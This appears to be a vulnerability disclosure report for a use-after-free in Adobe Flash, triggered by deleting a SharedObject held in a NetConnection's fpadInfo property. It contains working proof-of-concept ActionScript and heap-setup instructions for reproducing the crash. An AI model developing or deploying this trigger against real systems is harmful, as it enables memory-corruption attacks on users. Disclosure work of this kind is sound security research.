If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
s.data.fpadInfo = q;
s.flush();
var n = new NetConnection();
ASnative(2100, 200)(s.data);
n.connect.call(s.data, "");
trace(s.data.fpadInfo);
s = 1;

//GC happens here

setInterval(f, 1000);

function f(){

	ASnative(252, 1).call(q); //Array push
	delete q.myprop;
	
	}

A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 

loadswf.swf 1.5 KB Download

shareddelete.swf 1.1 KB Download

shareddelete.fla 5.2 KB Download

loadswf.as 1.9 KB Download